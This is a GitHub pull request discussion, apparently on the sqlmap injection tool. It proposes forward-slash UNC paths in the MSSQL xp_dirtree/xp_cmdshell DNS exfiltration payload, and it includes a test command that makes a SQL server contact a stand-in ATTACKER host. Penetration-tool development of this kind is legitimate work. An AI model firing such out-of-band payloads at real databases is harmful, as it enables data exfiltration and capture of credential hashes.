Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Change MSSQL dns_request.sql to reduce escaping issues #5849

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

missing0x00
Copy link

Modified the xp_dirtree and xp_cmdshell UNC paths to use forward slashes instead of backslashes, and removed the space between the procedure name and quoted path.

These changes help to avoid escaping/encoding issues, for example when using JSON. MSSQL still handles it the same way and will cause a DNS query or SMB authentication attempt.

Modified the xp_dirtree and xp_cmdshell UNC paths to use forward slashes instead of backslashes, and removed the space between the procedure name and quoted path.

These changes help to avoid escaping/encoding issues, for example when using JSON. MSSQL still handles it the same way and will cause a DNS query or SMB authentication attempt.
@Dark0verl0rd
Copy link

Modified the xp_dirtree and xp_cmdshell UNC paths to use forward slashes instead of backslashes.

@stamparm
Copy link
Member

  1. old way should work. it always worked AFAIK
  2. i haven't found a reference for this claim that \ can be replaced with // in SMB/UNC paths

@missing0x00
Copy link
Author

  1. old way should work. it always worked AFAIK

It works in nearly all cases, but I found a vulnerability where DNS exfil was failing until I made these changes. The vulnerable parameter was in in a JSON request, so that's my best guess as to why it was failing. Backslashes do work in most cases, but forward slashes are generally less likely to run into escaping issues in the initial request or somewhere on the backend.

Maybe ideally it could try both and use the one that works?

  1. i haven't found a reference for this claim that \ can be replaced with // in SMB/UNC paths

Surprisingly I haven't been able to find a reference for this either, but it works consistently in both injection and direct SQL execution context. Not sure why it isn't more widely documented.

Example command to test:
PS C:\> Invoke-Sqlcmd -ServerInstance "SQL01.test.local" -Query "EXEC xp_dirtree '//ATTACKER/c'"

@missing0x00
Copy link
Author

Not specific to MSSQL, but here are some references showing that Windows generally can use either file path separator:

https://learn.microsoft.com/en-us/dotnet/standard/io/file-path-formats
https://learn.microsoft.com/en-us/dotnet/api/system.io.path.directoryseparatorchar?view=net-9.0#system-io-path-directoryseparatorchar

Note that Windows supports either the forward slash (which is returned by the AltDirectorySeparatorChar field) or the backslash (which is returned by the DirectorySeparatorChar field) as path separator characters, while Unix-based systems support only the forward slash.

I'm thinking the best option here may be to attempt both options rather than changing the default since it does work in most cases. Is there any existing logic we could use for that? I see xp_fileexist is in there as a comment, but is not actually used.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants